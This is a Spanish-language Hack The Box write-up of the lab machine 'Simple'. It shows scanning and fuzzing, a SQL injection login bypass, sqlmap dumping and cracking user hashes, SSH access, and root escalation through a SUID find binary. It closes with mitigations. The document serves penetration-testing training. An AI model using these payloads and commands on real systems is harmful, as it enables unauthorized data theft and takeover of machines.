371 palabras
2 minutos
HTB Writeup: Máquina 'Simple' — SQLi + Escalada de Privilegios
Dificultad: Fácil
OS: Linux
Puntos: 20
Estado: Retirada
Reconocimiento
Escaneo inicial
sudo nmap -sS -sV -sC -p- --min-rate 5000 10.10.11.50 -oN simple.txtPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu80/tcp open http Apache httpd 2.4.52Solo dos puertos abiertos. Vamos al web.
Enumeración Web
Al entrar a http://10.10.11.50 encontramos un panel de login simple.
# Fuzzing de directoriosffuf -w /usr/share/wordlists/dirb/common.txt \ -u http://10.10.11.50/FUZZ \ -fc 404
# Resultado relevante:# /admin [Status: 302]# /config [Status: 403]# /login [Status: 200]Identificar tecnología
whatweb http://10.10.11.50# [+] PHP/7.4.3, Apache/2.4.52, Bootstrap/4.5.2Explotación — SQL Injection
El formulario de login es vulnerable a inyección SQL básica. Probamos el clásico bypass:
Usuario: admin' OR '1'='1Password: cualquieraEntramos directamente. Pero vamos más allá — extraemos la base de datos completa con sqlmap:
# Capturar la request con Burp y guardarla en login.reqsqlmap -r login.req --dbs --batch
# Databases:# [*] information_schema# [*] simpleblog
# Extraer tablassqlmap -r login.req -D simpleblog --tables --batch# [+] users
# Extraer datos de usuariossqlmap -r login.req -D simpleblog -T users --dump --batch+----+------------------+------------------------------------------+| id | username | password |+----+------------------+------------------------------------------+| 1 | admin | $2y$10$hashedpassword... || 2 | john | $2y$10$anotherhashedpw... |+----+------------------+------------------------------------------+Crackear los hashes
# Guardar el hash en un archivoecho '$2y$10$hashedpassword...' > hash.txt
# Crackear con hashcat (bcrypt = modo 3200)hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
# Resultado: password123Acceso inicial — SSH
Con las credenciales crackeadas intentamos SSH:
ssh john@10.10.11.50# Password: password123
john@simple:~$ iduid=1001(john) gid=1001(john) groups=1001(john)
john@simple:~$ cat user.txtHTB{u53r_fl4g_4qu1}🎯 User flag obtenida.
Escalada de Privilegios
Enumeración local
# Buscar binarios con SUIDfind / -perm -4000 2>/dev/null/usr/bin/find ← Interesante/usr/bin/sudo/usr/bin/pkexec/bin/suEl binario find con SUID es una escalada clásica. Verificamos en GTFOBins:
# Escalada con find SUID/usr/bin/find . -exec /bin/sh -p \; -quit
# sh-5.1# iduid=1001(john) gid=1001(john) euid=0(root) groups=1001(john)
# sh-5.1# cat /root/root.txtHTB{r00t_fl4g_pwn3d!}🎯 Root flag obtenida. ¡Máquina completada!
Lecciones aprendidas
- Nunca concatenar input del usuario directamente en queries SQL — usar prepared statements
- Los binarios SUID mal configurados son vectores críticos de escalada de privilegios
- La enumeración sistemática es clave — no saltar pasos
Mitigaciones
// MAL — vulnerable a SQLi$query = "SELECT * FROM users WHERE user='$username'";
// BIEN — prepared statement$stmt = $pdo->prepare("SELECT * FROM users WHERE user=?");$stmt->execute([$username]);# Revisar y remover SUID innecesarioschmod u-s /usr/bin/find¿Dudas o correcciones? Encuéntrame en Twitter como @Oguiii 🔐
HTB Writeup: Máquina 'Simple' — SQLi + Escalada de Privilegios
https://oguiii.xyz/posts/htb-writeup-simple/